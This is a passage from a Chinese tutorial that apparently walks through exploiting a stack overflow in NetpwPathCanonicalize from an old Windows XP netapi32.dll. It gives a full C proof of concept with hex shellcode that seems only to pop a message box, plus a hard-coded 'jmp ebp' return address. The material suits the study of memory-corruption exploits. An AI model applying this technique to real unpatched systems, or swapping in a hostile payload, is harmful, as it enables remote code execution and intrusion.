从上面溢出图片可以看出,0x0012EE2C 是被 ”bbbb“ 溢出覆盖了,我们只用找到它相对偏移就能够替换掉 0x0012EE2C 处的内容。向前找到 b 的起始位置,可以看到 b 从 0x0012EB9A 处开始,相对偏移就是 0x(292+4)。直接在钩造完成后,复制前,把PathName2[296] 覆盖为我们想要的地址( 0x71BBFCBE )。
因为我们需要执行 shellcode,所以我们要把 shellcode 放在 PathName1 的开头,就能运行。
按照如下布局,构建代码。
#include <windows.h>
typedef void (__stdcall * MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
#define PATH1_SIZE (0xc2*2)
#define PATH2_SIZE (0x150*2)
#define OUTBUF_SIZE 0x440
#define PREFIX_SIZE 0x410
char ShellCode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
char PathName1[PATH1_SIZE];
char PathName2[PATH2_SIZE];
char Outbuf[OUTBUF_SIZE];
int OutbufLen=OUTBUF_SIZE;
char Prefix1[PREFIX_SIZE];
char Prefix2[PREFIX_SIZE];
long PathType1=44;
long PathType2=44;
//load vulnerability netapi32.dll which we got from a WINXP sp0 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
// fill PathName
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,'a',sizeof(PathName1)-2);
// 将ShellCode拷贝到缓冲区中
memcpy(PathName1, ShellCode, sizeof(ShellCode));
// 将ShellCode后面的0x00填充为0x90
PathName1[sizeof(ShellCode)-1] = 0x90;
// set Prefix as a null string
memset(Prefix1,0,sizeof(Prefix1));
memset(Prefix2,0,sizeof(Prefix2));
memset(PathName2,0,sizeof(PathName2));
memset(PathName2,0,sizeof(PathName2));
memset(PathName2,'b',sizeof(PathName2)-2);
// 将返回地址覆盖为jmp ebp 71BBFCBE
PathName2[0x296] = 0xBE;
PathName2[0x297] = 0xFC;
PathName2[0x298] = 0xBB;
PathName2[0x299] = 0x71;
// call NetpwPathCanonicalize several times to overflow
(Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0);
(Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);
FreeLibrary(LibHandle);
return 0;
}
最后,运行,又是我们熟悉的对话框。